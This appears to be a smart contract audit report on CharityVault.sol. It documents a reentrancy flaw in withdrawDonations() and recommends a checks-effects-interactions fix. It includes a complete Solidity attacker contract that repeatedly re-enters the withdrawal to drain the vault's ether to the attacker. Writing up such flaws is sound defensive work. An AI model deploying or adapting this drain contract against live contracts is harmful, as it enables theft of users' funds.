📝 Smart Contract Security Audit Report

🔹 **Project Name:** CharityVault.sol
🔹 **Auditor:** Aayush (Smart Contract Security Auditor)
🔹 **Audit Date:** 7 April 2025

---

1. 📄 Summary

Category	Description
Contract(s) Audited	CharityVault.sol
Total Issues Found	1
Severity Breakdown	🔴 High: 1 / 🟠 Medium: 0 / 🟡 Low: 0 / ⚪ Informational: 0

---

2. 🔍 Methodology

This audit was conducted through **manual review**, with a focus on identifying both common and subtle vulnerabilities.

It included:

- In-depth code walkthrough and logic analysis
- Manual vulnerability discovery
- Reproduction of exploit via attacker contract (PoE)
- Optional test-based Proof of Concept (PoC) using Foundry

---

3. 🚨 Issues

🔴 3.1 Reentrancy Vulnerability in `withdrawDonations()`

Severity: High
Impact: Full contract drain
Status: ✅ Confirmed — Unfixed

🔧 Description

Here i found one issue in `withdrawDonations().` The function `withdrawDonations()` allows users to withdraw their donated ETH. However, it performs an **external call to `msg.sender` before updating the internal balance**, violating the **Checks-Effects-Interactions pattern**.

This enables a **reentrancy attack** where a malicious contract can re-enter `withdrawDonations()` via its `receive()` function, allowing repeated withdrawals before the user's balance is updated.

💥 Proof of Exploit (PoE)

solidity
CopyEdit

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "./CharityVault.sol";

contract Attacker {
    CharityVault public vault;
    address public owner;

    constructor(address _vault) {
        vault = CharityVault(_vault);
        owner = msg.sender;
    }

    function attack() external payable {
        require(msg.value >= 1 ether, "Need at least 1 ETH");
        vault.donate{value: 1 ether}();
        vault.withdrawDonations(); // First call triggers fallback
    }

    receive() external payable {
        if (address(vault).balance >= 1 ether) {
            vault.withdrawDonations(); // Re-enter again
        } else {
            payable(owner).transfer(address(this).balance); // Collect
profits
        }
    }
}
```

✅ Recommended Fix

Apply the Checks-Effects-Interactions pattern:

solidity
CopyEdit

```
function withdrawDonations() external {
    uint256 amount = donations[msg.sender];
    require(amount > 0, "Nothing to withdraw");

    donations[msg.sender] = 0; // ✅ Effect before interaction

    (bool sent, ) = msg.sender.call{value: amount}("");
    require(sent, "Failed to send Ether");
}
```

Alternatively, consider using **`transfer()`** with built-in gas limit (unless you expect smart contract users), or a reentrancy guard.

---

4. ✅ Conclusion

The `CharityVault` contract is vulnerable to a **critical reentrancy bug** in the `withdrawDonations()` function, which allows attackers to drain the entire balance.

The issue can be fully mitigated by **reordering the logic** or implementing a **reentrancy guard**. The exploit was demonstrated through a Proof of Exploit (PoE) attacker contract.

---

5. 📁 Files Audited

- CharityVault.sol
- Attacker.sol

---

6. 🔗 References

- SWC-107: Reentrancy
- Solidity Docs - Reentrancy